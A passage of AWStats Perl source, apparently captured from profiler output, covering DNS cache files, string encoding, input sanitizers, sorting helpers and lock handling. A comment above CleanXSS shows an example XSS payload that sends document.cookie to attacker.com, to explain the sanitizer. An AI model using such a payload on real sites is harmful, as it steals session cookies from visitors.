4171 if (! scalar keys %$hashtoload) {
4172 open(DNSFILE,"$filetoload") or error("Couldn't open DNS Cache file \"$filetoload\": $!");
4173 #binmode DNSFILE; # If we set binmode here, it seems that the load is broken on ActiveState 5.8
4174 # This is a fast way to load with regexp
4175 %$hashtoload = map(/^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi,<DNSFILE>);
4176 close DNSFILE;
4177 if ($savetohash) {
4178 # Plugin call : Save hash file (all records) with test if up to date to save
4179 if ($PluginsLoaded{'SaveHash'}{'hashfiles'}) { SaveHash_hashfiles($filetoload,$hashtoload,1,0); }
4180 }
4181 }
4182 if ($Debug) { debug(" Loaded ".(scalar keys %$hashtoload)." items from $filetoload in ".(time()-$timetoload)." seconds.",1); }
4183 return 0;
4184}
4185
4186#------------------------------------------------------------------------------
4187# Function: Save a memory hash array into a DNS cache file
4188# Parameters: Hash array ref to save,
4189# File name to save,
4190# File suffix to use
4191# Input: None
4192# Output: None
4193# Return: 0 OK, 1 Error
4194#------------------------------------------------------------------------------
4195sub Save_DNS_Cache_File {
4196 my $hashtosave=shift;
4197 my $dnscachefile=shift;
4198 my $filesuffix=shift;
4199
4200 my $dnscacheext='';
4201 my $filetosave='';
4202 my $timetosave = time();
4203 my $nbofelemtosave=$NBOFLASTUPDATELOOKUPTOSAVE;
4204 my $nbofelemsaved=0;
4205
4206 if ($Debug) { debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]"); }
4207 if (! scalar keys %$hashtosave) {
4208 if ($Debug) { debug(" No data to save"); }
4209 return 0;
4210 }
4211 if ($dnscachefile =~ s/(\.\w+)$//) { $dnscacheext=$1; }
4212 $filetosave="$dnscachefile$filesuffix$dnscacheext";
4213 # Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date
4214 if ($PluginsLoaded{'SaveHash'}{'hashfiles'}) {
4215 SaveHash_hashfiles($filetosave,$hashtosave,0,$nbofelemtosave,$nbofelemsaved);
4216 if ($SaveDatabaseFilesWithPermissionsForEveryone) {
4217 chmod 0666,"$filetosave";
4218 }
4219 }
4220 if (! $nbofelemsaved) {
4221 $filetosave="$dnscachefile$filesuffix$dnscacheext";
4222 if ($Debug) { debug(" Save data ".($nbofelemtosave?"($nbofelemtosave records max)":"(all records)")." into file $filetosave"); }
4223 if (! open(DNSFILE,">$filetosave")) {
4224 warning("Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!");
4225 return 1;
4226 }
4227 binmode DNSFILE;
4228 my $starttimemin=int($starttime/60);
4229 foreach my $key (keys %$hashtosave) {
4230 #if ($hashtosave->{$key} ne '*') {
4231 my $ipsolved=$hashtosave->{$key};
4232 print DNSFILE "$starttimemin\t$key\t".($ipsolved eq 'ip'?'*':$ipsolved)."\n"; # Change 'ip' to '*' for backward compatibility
4233 if (++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE) { last; }
4234 #}
4235 }
4236 close DNSFILE;
4237
4238 if ($SaveDatabaseFilesWithPermissionsForEveryone) {
4239 chmod 0666,"$filetosave";
4240 }
4241
4242 }
4243 if ($Debug) { debug(" Saved $nbofelemsaved items into $filetosave in ".(time()-$timetosave)." seconds.",1); }
4244 return 0;
4245}
4246
4247#------------------------------------------------------------------------------
4248# Function: Return time elapsed since last call in miliseconds
4249# Parameters: 0|1 (0 reset counter, 1 no reset)
4250# Input: None
4251# Output: None
4252# Return: Number of miliseconds elapsed since last call
4253#------------------------------------------------------------------------------
4254
# spent 47µs within main::GetDelaySinceStart which was called # once (47µs+0) at line 6232
sub GetDelaySinceStart {
425562.2e-53.7e-6 if (shift) { $StartSeconds=0; } # Reset chrono
4256 my ($newseconds, $newmicroseconds)=(time(),0);
4257 # Plugin call : Return seconds and milliseconds
4258 if ($PluginsLoaded{'GetTime'}{'timehires'}) { GetTime_timehires($newseconds, $newmicroseconds); }
425922.0e-61.0e-6 if (! $StartSeconds) { $StartSeconds=$newseconds; $StartMicroseconds=$newmicroseconds; }
4260 return (($newseconds-$StartSeconds)*1000+int(($newmicroseconds-$StartMicroseconds)/1000));
4261}
4262
4263#------------------------------------------------------------------------------
4264# Function: Reset all variables whose name start with _ because a new month start
4265# Parameters: None
4266# Input: $YearRequired All variables whose name start with _
4267# Output: All variables whose name start with _
4268# Return: None
4269#------------------------------------------------------------------------------
4270
# spent 610µs within main::Init_HashArray which was called 2 times, avg 305µs/call: # once (319µs+0) at line 332 # once (291µs+0) at line 6087
sub Init_HashArray {
4271520.000132.6e-6 if ($Debug) { debug("Call to Init_HashArray"); }
4272 # Reset global hash arrays
4273 %FirstTime = %LastTime = ();
4274 %MonthHostsKnown = %MonthHostsUnknown = ();
4275 %MonthVisits = %MonthUnique = ();
4276 %MonthPages = %MonthHits = %MonthBytes = ();
4277 %MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = ();
4278 %DayPages = %DayHits = %DayBytes = %DayVisits = ();
4279 # Reset all arrays with name beginning by _
4280245.2e-52.2e-6 for (my $ix=0; $ix<6; $ix++) { $_from_p[$ix]=0; $_from_h[$ix]=0; }
42812880.000391.4e-6 for (my $ix=0; $ix<24; $ix++) { $_time_h[$ix]=0; $_time_k[$ix]=0; $_time_p[$ix]=0; $_time_nv_h[$ix]=0; $_time_nv_k[$ix]=0; $_time_nv_p[$ix]=0; }
4282 # Reset all hash arrays with name beginning by _
4283 %_session = %_browser_h = ();
4284 %_domener_p = %_domener_h = %_domener_k = %_errors_h = %_errors_k = ();
4285 %_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = ();
4286 %_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = ();
4287 %_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = ();
4288 %_keyphrases = %_keywords = %_os_h = %_pagesrefs_p = %_pagesrefs_h = %_robot_h = %_robot_k = %_robot_l = %_robot_r = ();
4289 %_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k = %_login_l = %_screensize_h = ();
4290 %_misc_p = %_misc_h = %_misc_k = ();
4291 %_cluster_p = %_cluster_h = %_cluster_k = ();
4292 %_se_referrals_p = %_se_referrals_h = %_sider404_h = %_referer404_h = %_url_p = %_url_k = %_url_e = %_url_x = ();
4293 %_unknownreferer_l = %_unknownrefererbrowser_l = ();
4294 %_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k = %_emailr_l = ();
4295 for (my $ix=1; $ix < @ExtraName; $ix++) {
4296 %{'_section_' . $ix . '_h'} = %{'_section_' . $ix . '_o'} = %{'_section_' . $ix . '_k'} =
4297 %{'_section_' . $ix . '_l'} = %{'_section_' . $ix . '_p'} = ();
4298 }
4299 foreach my $pluginname (keys %{$PluginsLoaded{'SectionInitHashArray'}}) {
4300# my $function="SectionInitHashArray_$pluginname()";
4301# eval("$function");
4302 my $function="SectionInitHashArray_$pluginname";
4303 &$function();
4304 }
4305}
4306
4307#------------------------------------------------------------------------------
4308# Function: Change word separators of a keyphrase string into space and
4309# remove bad coded chars
4310# Parameters: stringtodecode
4311# Input: None
4312# Output: None
4313# Return: decodedstring
4314#------------------------------------------------------------------------------
4315sub ChangeWordSeparatorsIntoSpace {
4316 $_[0] =~ s/%0[ad]/ /ig; # LF CR
4317 $_[0] =~ s/%2[02789abc]/ /ig; # space " ' ( ) * + ,
4318 $_[0] =~ s/%3a/ /ig; # :
4319 $_[0] =~ tr/\+\'\(\)\"\*,:/ /s; # "&" and "=" must not be in this list
4320}
4321
4322#------------------------------------------------------------------------------
4323# Function: Transforms special chars by entities as needed in XML/XHTML
4324# Parameters: stringtoencode
4325# Return: encodedstring
4326#------------------------------------------------------------------------------
4327sub XMLEncode {
4328 if ($BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml') { return shift; }
4329 my $string = shift;
4330 $string =~ s/&/&amp;/g;
4331 $string =~ s/</&lt;/g;
4332 $string =~ s/>/&gt;/g;
4333 $string =~ s/\"/&quot;/g;
4334 $string =~ s/\'/&apos;/g;
4335 return $string;
4336}
4337
4338#------------------------------------------------------------------------------
4339# Function: Transforms spaces into %20 and special chars by entities as needed in XML/XHTML
4340# Parameters: stringtoencode
4341# Return: encodedstring
4342#------------------------------------------------------------------------------
4343sub XMLEncodeForHisto {
4344 my $string = shift;
4345 $string =~ s/\s/%20/g;
4346 if ($BuildHistoryFormat ne 'xml') { return $string; }
4347 $string =~ s/&/&amp;/g;
4348 $string =~ s/</&lt;/g;
4349 $string =~ s/>/&gt;/g;
4350 $string =~ s/\"/&quot;/g;
4351 $string =~ s/\'/&apos;/g;
4352 return $string;
4353}
4354
4355#------------------------------------------------------------------------------
4356# Function: Encode a binary string into an ASCII string
4357# Parameters: stringtoencode
4358# Return: encodedstring
4359#------------------------------------------------------------------------------
4360sub EncodeString {
4361 my $string = shift;
4362# use bytes;
4363 $string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg;
4364# no bytes;
4365 $string =~ tr/ /+/s;
4366 return $string;
4367}
4368
4369#------------------------------------------------------------------------------
4370# Function: Decode an only text string into a binary string
4371# Parameters: stringtodecode
4372# Input: None
4373# Output: None
4374# Return: decodedstring
4375#------------------------------------------------------------------------------
4376sub DecodeEncodedString {
4377 my $stringtodecode=shift;
4378 $stringtodecode =~ tr/\+/ /s;
4379 $stringtodecode =~ s/%22//g;
4380 $stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg;
4381 $stringtodecode =~ s/["']//g;
4382 return $stringtodecode;
4383}
4384
4385#------------------------------------------------------------------------------
4386# Function: Decode an precompiled regex value to a common regex value
4387# Parameters: compiledregextodecode
4388# Input: None
4389# Output: None
4390# Return: standardregex
4391#------------------------------------------------------------------------------
4392sub UnCompileRegex {
4393 shift =~ /\(\?[-\w]*:(.*)\)/;
4394 return $1;
4395}
4396
4397#------------------------------------------------------------------------------
4398# Function: Clean a string of all chars that are not char or _ - \ / . \s
4399# Parameters: stringtoclean, full
4400# Input: None
4401# Output: None
4402# Return: cleanedstring
4403#------------------------------------------------------------------------------
4404
# spent 22µs within main::Sanitize which was called # once (22µs+0) at line 5600
sub Sanitize {
440548.0e-62.0e-6 my $stringtoclean=shift;
4406 my $full=shift||0;
440712.0e-62.0e-6 if ($full) {
4408 $stringtoclean =~ s/[^\w]//g;
4409 } else {
4410 $stringtoclean =~ s/[^\w\-\\\/\.:\s]//g;
4411 }
4412 return $stringtoclean;
4413}
4414
4415#------------------------------------------------------------------------------
4416# Function: Clean a string of HTML tags to avoid 'Cross Site Scripting attacks'
4417# and clean | char.
4418# A XSS attack is providing an AWStats url with XSS code that is executed
4419# when page loaded by awstats CGI is loaded from AWStats server. Such a code
4420# can be<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>
4421# This make the browser sending a request to the attacker server that contains
4422# cookie used for AWStats server sessions. Attacker can this way caught this
4423# cookie and used it to go on AWStats server like original visitor. For this
4424# resaon, parameter received by AWStats must be sanitized by this function
4425# before beeing put inside a web page.
4426# Parameters: stringtoclean
4427# Input: None
4428# Output: None
4429# Return: cleanedstring
4430#------------------------------------------------------------------------------
4431
# spent 31µs within main::CleanXSS which was called # once (31µs+0) at line 5592
sub CleanXSS {
443262.2e-53.7e-6 my $stringtoclean=shift;
4433 # To avoid html tags and javascript
4434 $stringtoclean =~ s/</&lt;/g;
4435 $stringtoclean =~ s/>/&gt;/g;
4436 $stringtoclean =~ s/|//g;
4437 # To avoid onload="
4438 $stringtoclean =~ s/onload//g;
4439 return $stringtoclean;
4440}
4441
4442#------------------------------------------------------------------------------
4443# Function: Clean tags in a string
4444# Parameters: stringtodecode
4445# Input: None
4446# Output: None
4447# Return: decodedstring
4448#------------------------------------------------------------------------------
4449sub CleanFromTags {
4450 my $stringtoclean=shift;
4451 $stringtoclean =~ s/$regclean1/ /g; # Replace <recnb> or </td> with space
4452 $stringtoclean =~ s/$regclean2//g; # Remove <xxx>
4453 return $stringtoclean;
4454}
4455
4456#------------------------------------------------------------------------------
4457# Function: Copy one file into another
4458# Parameters: sourcefilename targetfilename
4459# Input: None
4460# Output: None
4461# Return: 0 if copy is ok, 1 else
4462#------------------------------------------------------------------------------
4463sub FileCopy {
4464 my $filesource = shift;
4465 my $filetarget = shift;
4466 if ($Debug) { debug("FileCopy($filesource,$filetarget)",1); }
4467 open(FILESOURCE,"$filesource") || return 1;
4468 open(FILETARGET,">$filetarget") || return 1;
4469 binmode FILESOURCE;
4470 binmode FILETARGET;
4471 # ...
4472 close(FILETARGET);
4473 close(FILESOURCE);
4474 if ($Debug) { debug(" File copied",1); }
4475 return 0;
4476}
4477
4478#------------------------------------------------------------------------------
4479# Function: Format a QUERY_STRING
4480# Parameters: query
4481# Input: None
4482# Output: None
4483# Return: formated query
4484#------------------------------------------------------------------------------
4485# TODO Appeller cette fonction partout ou il y a des NewLinkParams
4486sub CleanNewLinkParamsFrom {
4487 my $NewLinkParams=shift;
4488 while (my $param = shift) {
4489 $NewLinkParams =~ s/(^|&|&amp;)$param(=[^&]*|$)//i;
4490 }
4491 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
4492 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
4493 return $NewLinkParams;
4494}
4495
4496#------------------------------------------------------------------------------
4497# Function: Show flags for other language translations
4498# Parameters: Current languade id (en, fr, ...)
4499# Input: None
4500# Output: None
4501# Return: None
4502#------------------------------------------------------------------------------
4503sub Show_Flag_Links {
4504 my $CurrentLang = shift;
4505
4506 # Build flags link
4507 my $NewLinkParams=$QueryString;
4508 my $NewLinkTarget='';
4509 if ($ENV{'GATEWAY_INTERFACE'}) {
4510 $NewLinkParams=CleanNewLinkParamsFrom($NewLinkParams,('update','staticlinks','framename','lang'));
4511 $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
4512 $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
4513 $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
4514 $NewLinkParams =~ s/(^|&|&amp;)lang=[^&]*//i;
4515 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
4516 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
4517 if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&amp;"; }
4518 if ($FrameName eq 'mainright') { $NewLinkTarget=" target=\"_parent\""; }
4519 }
4520 else {
4521 $NewLinkParams=($SiteConfig?"config=$SiteConfig&amp;":"")."year=$YearRequired&amp;month=$MonthRequired&amp;";
4522 }
4523 if ($NewLinkParams !~ /output=/) { $NewLinkParams.='output=main&amp;'; }
4524 if ($FrameName eq 'mainright') { $NewLinkParams.='framename=index&amp;'; }
4525
4526 foreach my $lng (split(/\s+/,$ShowFlagLinks)) {
4527 $lng=$LangBrowserToLangAwstats{$lng}?$LangBrowserToLangAwstats{$lng}:$lng;
4528 if ($lng ne $CurrentLang) {
4529 my %lngtitle=('en','English','fr','French','de','German','it','Italian','nl','Dutch','es','Spanish');
4530 my $lngtitle=($lngtitle{$lng}?$lngtitle{$lng}:$lng);
4531 my $flag=($LangAWStatsToFlagAwstats{$lng}?$LangAWStatsToFlagAwstats{$lng}:$lng);
4532 print "<a href=\"".XMLEncode("$AWScript?${NewLinkParams}lang=$lng")."\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\"".AltTitle("$lngtitle")." /></a>&nbsp;\n";
4533 }
4534 }
4535}
4536
4537#------------------------------------------------------------------------------
4538# Function: Format value in bytes in a string (Bytes, Kb, Mb, Gb)
4539# Parameters: bytes (integer value or "0.00")
4540# Input: None
4541# Output: None
4542# Return: "x.yz MB" or "x.yy KB" or "x Bytes" or "0"
4543#------------------------------------------------------------------------------
4544sub Format_Bytes {
4545 my $bytes = shift||0;
4546 my $fudge = 1;
4547 # Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions
4548 if ($bytes >= ($fudge << 30)) { return sprintf("%.2f", $bytes/1073741824)." $Message[110]"; }
4549 if ($bytes >= ($fudge << 20)) { return sprintf("%.2f", $bytes/1048576)." $Message[109]"; }
4550 if ($bytes >= ($fudge << 10)) { return sprintf("%.2f", $bytes/1024)." $Message[108]"; }
4551 if ($bytes < 0) { $bytes="?"; }
4552 return int($bytes).(int($bytes)?" $Message[119]":"");
4553}
4554
4555#------------------------------------------------------------------------------
4556# Function: Format a number
4557# Parameters: number
4558# Input: None
4559# Output: None
4560# Return: "999 999 999 999"
4561#------------------------------------------------------------------------------
4562sub Format_Number {
4563 my $number = shift||0;
4564 $number=~s/(\d)(\d\d\d)$/$1 $2/;
4565 $number=~s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/;
4566 $number=~s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/;
4567 return $number;
4568}
4569
4570#------------------------------------------------------------------------------
4571# Function: Return " alt=string title=string"
4572# Parameters: string
4573# Input: None
4574# Output: None
4575# Return: "alt=string title=string"
4576#------------------------------------------------------------------------------
4577sub AltTitle {
4578 my $string = shift||'';
4579 return " alt='$string' title='$string'";
4580# return " alt=\"$string\" title=\"$string\"";
4581# return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\"";
4582}
4583
4584#------------------------------------------------------------------------------
4585# Function: Tell if an email is a local or external email
4586# Parameters: email
4587# Input: $SiteDomain(exact string) $HostAliases(quoted regex string)
4588# Output: None
4589# Return: -1, 0 or 1
4590#------------------------------------------------------------------------------
4591sub IsLocalEMail {
4592 my $email=shift||'unknown';
4593 if ($email !~ /\@(.*)$/) { return 0; }
4594 my $domain=$1;
4595 if ($domain =~ /^$SiteDomain$/i) { return 1; }
4596 foreach (@HostAliases) { if ($domain =~ /$_/) { return 1; } }
4597 return -1;
4598}
4599
4600#------------------------------------------------------------------------------
4601# Function: Format a date according to Message[78] (country date format)
4602# Parameters: String date YYYYMMDDHHMMSS
4603# Option 0=LastUpdate and LastTime date
4604# 1=Arrays date except daymonthvalues
4605# 2=daymonthvalues date (only year month and day)
4606# Input: $Message[78]
4607# Output: None
4608# Return: Date with format defined by Message[78] and option
4609#------------------------------------------------------------------------------
4610sub Format_Date {
4611 my $date=shift;
4612 my $option=shift||0;
4613 my $year=substr("$date",0,4);
4614 my $month=substr("$date",4,2);
4615 my $day=substr("$date",6,2);
4616 my $hour=substr("$date",8,2);
4617 my $min=substr("$date",10,2);
4618 my $sec=substr("$date",12,2);
4619 my $dateformat=$Message[78];
4620 if ($option == 2) {
4621 $dateformat =~ s/^[^ymd]+//g;
4622 $dateformat =~ s/[^ymd]+$//g;
4623 }
4624 $dateformat =~ s/yyyy/$year/g;
4625 $dateformat =~ s/yy/$year/g;
4626 $dateformat =~ s/mmm/$MonthNumLib{$month}/g;
4627 $dateformat =~ s/mm/$month/g;
4628 $dateformat =~ s/dd/$day/g;
4629 $dateformat =~ s/HH/$hour/g;
4630 $dateformat =~ s/MM/$min/g;
4631 $dateformat =~ s/SS/$sec/g;
4632 return "$dateformat";
4633}
4634
4635#------------------------------------------------------------------------------
4636# Function: Return 1 if string contains only ascii chars
4637# Parameters: string
4638# Input: None
4639# Output: None
4640# Return: 0 or 1
4641#------------------------------------------------------------------------------
4642sub IsAscii {
4643 my $string=shift;
4644 if ($Debug) { debug("IsAscii($string)",5); }
4645 if ($string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/) {
4646 if ($Debug) { debug(" Yes",6); }
4647 return 1; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t
4648 }
4649 if ($Debug) { debug(" No",6); }
4650 return 0;
4651}
4652
4653#------------------------------------------------------------------------------
4654# Function: Return the lower value between 2 but exclude value if 0
4655# Parameters: Val1 and Val2
4656# Input: None
4657# Output: None
4658# Return: min(Val1,Val2)
4659#------------------------------------------------------------------------------
4660sub MinimumButNoZero {
4661 my ($val1,$val2)=@_;
4662 return ($val1&&($val1<$val2||!$val2)?$val1:$val2);
4663}
4664
4665#------------------------------------------------------------------------------
4666# Function: Add a val from sorting tree
4667# Parameters: keytoadd keyval [firstadd]
4668# Input: None
4669# Output: None
4670# Return: None
4671#------------------------------------------------------------------------------
4672sub AddInTree {
4673 my $keytoadd=shift;
4674 my $keyval=shift;
4675 my $firstadd=shift||0;
4676 if ($firstadd==1) { # Val is the first one
4677 if ($Debug) { debug(" firstadd",4); }
4678 $val{$keyval}=$keytoadd;
4679 $lowerval=$keyval;
4680 if ($Debug) { debug(" lowerval=$lowerval, nb elem val=".(scalar keys %val).", nb elem egal=".(scalar keys %egal).".",4); }
4681 return;
4682 }
4683 if ($val{$keyval}) { # Val is already in tree
4684 if ($Debug) { debug(" val is already in tree",4); }
4685 $egal{$keytoadd}=$val{$keyval};
4686 $val{$keyval}=$keytoadd;
4687 if ($Debug) { debug(" lowerval=$lowerval, nb elem val=".(scalar keys %val).", nb elem egal=".(scalar keys %egal).".",4); }
4688 return;
4689 }
4690 if ($keyval <= $lowerval) { # Val is a new one lower (should happens only when tree is not full)
4691 if ($Debug) { debug(" keytoadd val=$keyval is lower or equal to lowerval=$lowerval",4); }
4692 $val{$keyval}=$keytoadd;
4693 $nextval{$keyval}=$lowerval;
4694 $lowerval=$keyval;
4695 if ($Debug) { debug(" lowerval=$lowerval, nb elem val=".(scalar keys %val).", nb elem egal=".(scalar keys %egal).".",4); }
4696 return;
4697 }
4698 # Val is a new one higher
4699 if ($Debug) { debug(" keytoadd val=$keyval is higher than lowerval=$lowerval",4); }
4700 $val{$keyval}=$keytoadd;
4701 my $valcursor=$lowerval; # valcursor is value just before keyval
4702 while ($nextval{$valcursor} && ($nextval{$valcursor} < $keyval)) { $valcursor=$nextval{$valcursor}; }
4703 if ($nextval{$valcursor}) { # keyval is between valcursor and nextval{valcursor}
4704 $nextval{$keyval}=$nextval{$valcursor};
4705 }
4706 $nextval{$valcursor}=$keyval;
4707 if ($Debug) { debug(" lowerval=$lowerval, nb elem val=".(scalar keys %val).", nb elem egal=".(scalar keys %egal).".",4); }
4708}
4709
4710#------------------------------------------------------------------------------
4711# Function: Remove a val from sorting tree
4712# Parameters: None
4713# Input: $lowerval %val %egal
4714# Output: None
4715# Return: None
4716#------------------------------------------------------------------------------
4717sub Removelowerval {
4718 my $keytoremove=$val{$lowerval}; # This is lower key
4719 if ($Debug) { debug(" remove for lowerval=$lowerval: key=$keytoremove",4); }
4720 if ($egal{$keytoremove}) {
4721 $val{$lowerval}=$egal{$keytoremove};
4722 delete $egal{$keytoremove};
4723 }
4724 else {
4725 delete $val{$lowerval};
4726 $lowerval=$nextval{$lowerval}; # Set new lowerval
4727 }
4728 if ($Debug) { debug(" new lower value=$lowerval, val size=".(scalar keys %val).", egal size=".(scalar keys %egal),4); }
4729}
4730
4731#------------------------------------------------------------------------------
4732# Function: Build @keylist array
4733# Parameters: Size max for @keylist array,
4734# Min value in hash for select,
4735# Hash used for select,
4736# Hash used for order
4737# Input: None
4738# Output: None
4739# Return: @keylist response array
4740#------------------------------------------------------------------------------
4741sub BuildKeyList {
4742 my $ArraySize=shift||error("System error. Call to BuildKeyList function with incorrect value for first param","","",1);
4743 my $MinValue=shift||error("System error. Call to BuildKeyList function with incorrect value for second param","","",1);
4744 my $hashforselect=shift;
4745 my $hashfororder=shift;
4746 if ($Debug) { debug(" BuildKeyList($ArraySize,$MinValue,$hashforselect with size=".(scalar keys %$hashforselect).",$hashfororder with size=".(scalar keys %$hashfororder).")",3); }
4747 delete $hashforselect->{0};delete $hashforselect->{''}; # Those is to protect from infinite loop when hash array has an incorrect null key
4748 my $count=0;
4749 $lowerval=0; # Global because used in AddInTree and Removelowerval
4750 %val=(); %nextval=(); %egal=();
4751 foreach my $key (keys %$hashforselect) {
4752 if ($count < $ArraySize) {
4753 if ($hashforselect->{$key} >= $MinValue) {
4754 $count++;
4755 if ($Debug) { debug(" Add in tree entry $count : $key (value=".($hashfororder->{$key}||0).", tree not full)",4); }
4756 AddInTree($key,$hashfororder->{$key}||0,$count);
4757 }
4758 next;
4759 }
4760 $count++;
4761 if (($hashfororder->{$key}||0)<=$lowerval) { next; }
4762 if ($Debug) { debug(" Add in tree entry $count : $key (value=".($hashfororder->{$key}||0)." > lowerval=$lowerval)",4); }
4763 AddInTree($key,$hashfororder->{$key}||0);
4764 if ($Debug) { debug(" Removelower in tree",4); }
4765 Removelowerval();
4766 }
4767
4768 # Build key list and sort it
4769 if ($Debug) { debug(" Build key list and sort it. lowerval=$lowerval, nb elem val=".(scalar keys %val).", nb elem egal=".(scalar keys %egal).".",3); }
4770 my %notsortedkeylist=();
4771 foreach my $key (values %val) { $notsortedkeylist{$key}=1; }
4772 foreach my $key (values %egal) { $notsortedkeylist{$key}=1; }
4773 @keylist=();
4774 @keylist=(sort {($hashfororder->{$b}||0) <=> ($hashfororder->{$a}||0) } keys %notsortedkeylist);
4775 if ($Debug) { debug(" BuildKeyList End (keylist size=".(@keylist).")",3); }
4776 return;
4777}
4778
4779#------------------------------------------------------------------------------
4780# Function: Lock or unlock update
4781# Parameters: status (1 to lock, 0 to unlock)
4782# Input: $DirLock (if status=0) $PROG $FileSuffix
4783# Output: $DirLock (if status=1)
4784# Return: None
4785#------------------------------------------------------------------------------
4786
# spent 98.2ms within main::Lock_Update which was called 2 times, avg 49.1ms/call: # once (65.9ms+0) at line 6216 # once (32.3ms+0) at line 7579
sub Lock_Update {
478782.8e-53.5e-6 my $status=shift;
4788 my $lock="$PROG$FileSuffix.lock";
478940.032280.00807 if ($status) {
4790 # We stop if there is at least one lock file wherever it is
4791 foreach my $key ($ENV{"TEMP"},$ENV{"TMP"},"/tmp","/",".") {
4792156.5e-54.3e-6 my $newkey =$key;
4793 $newkey =~ s/[\\\/]$//;
4794 if (-f "$newkey/$lock") { error("An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.","","",1); }
4795 }
4796 # Set lock where we can
4797 foreach my $key ($ENV{"TEMP"},$ENV{"TMP"},"/tmp","/",".") {
4798120.065810.00548 if (! -d "$key") { next; }
4799 $DirLock=$key;
4800 $DirLock =~ s/[\\\/]$//;
4801 if ($Debug) { debug("Update lock file $DirLock/$lock is set"); }
4802 open(LOCK,">$DirLock/$lock") || error("Failed to create lock file $DirLock/$lock","","",1);
4803 print LOCK "AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n";
4804 close(LOCK);
4805 last;
4806 }
4807 }
4808 else {
4809 # Remove lock
4810 if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); }
4811 unlink("$DirLock/$lock");
4812 }
4813 return;
4814}
4815
4816#------------------------------------------------------------------------------
4817# Function: Signal handler to call Lock_Update to remove lock file
4818# Parameters: Signal name
4819# Input: None
4820# Output: None
4821# Return: None
4822#------------------------------------------------------------------------------
4823sub SigHandler {
4824 my $signame = shift;
4825 print ucfirst($PROG)." process (ID $$) interrupted by signal $signame.\n";
4826 &Lock_Update(0);
4827 exit 1;
4828}
4829
4830#------------------------------------------------------------------------------
4831# Function: Convert an IPAddress into an integer
4832# Parameters: IPAddress
4833# Input: None
4834# Output: None
4835# Return: Int
4836#------------------------------------------------------------------------------
4837sub Convert_IP_To_Decimal {
4838 my ($IPAddress) = @_;
4839 my @ip_seg_arr = split(/\./,$IPAddress);
4840 my $decimal_ip_address = 256 * 256 *256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 * $ip_seg_arr[2] + $ip_seg_arr[3];
4841 return($decimal_ip_address);
4842}
4843
4844#------------------------------------------------------------------------------
4845# Function: Test there is at least on value in list not null
4846# Parameters: List of values
4847# Input: None
4848# Output: None
4849# Return: 1 There is at least one not null value, 0 else
4850#------------------------------------------------------------------------------
4851sub AtLeastOneNotNull {
4852 if ($Debug) { debug(" Call to AtLeastOneNotNull (".join('-',@_).")",3); }
4853 foreach my $val (@_) { if ($val) { return 1; } }
4854 return 0;
4855}
4856
4857#------------------------------------------------------------------------------
4858# Function: Return the string to add in html tag to include popup javascript code
4859# Parameters: tooltip number
4860# Input: None
4861# Output: None
4862# Return: string with javascript code
4863#------------------------------------------------------------------------------
4864sub Tooltip {
4865 my $ttnb=shift;
4866 return ($TOOLTIPON?" onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\"":"");
4867}
4868
4869#------------------------------------------------------------------------------
4870# Function: Insert a form filter
4871# Parameters: Name of filter field, default for filter field, default for exclude filter field
4872# Input: $StaticLinks, $QueryString, $SiteConfig, $DirConfig
4873# Output: HTML Form
4874# Return: None
4875#------------------------------------------------------------------------------
4876sub ShowFormFilter {
4877 my $fieldfiltername=shift;
4878 my $fieldfilterinvalue=shift;
4879 my $fieldfilterexvalue=shift;
4880 if (! $StaticLinks) {
4881 my $NewLinkParams=${QueryString};
4882 $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
4883 $NewLinkParams =~ s/(^|&|&amp;)output(=\w*|$)//i;
4884 $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
4885 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
4886 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
4887 if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&amp;"; }
4888 print "\n<form name=\"FormFilter\" action=\"".XMLEncode("$AWScript?${NewLinkParams}")."\" class=\"aws_border\">\n";
4889 print "<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n";
4890 print "<td align=\"left\" width=\"50\">$Message[79]&nbsp;:</td>\n";
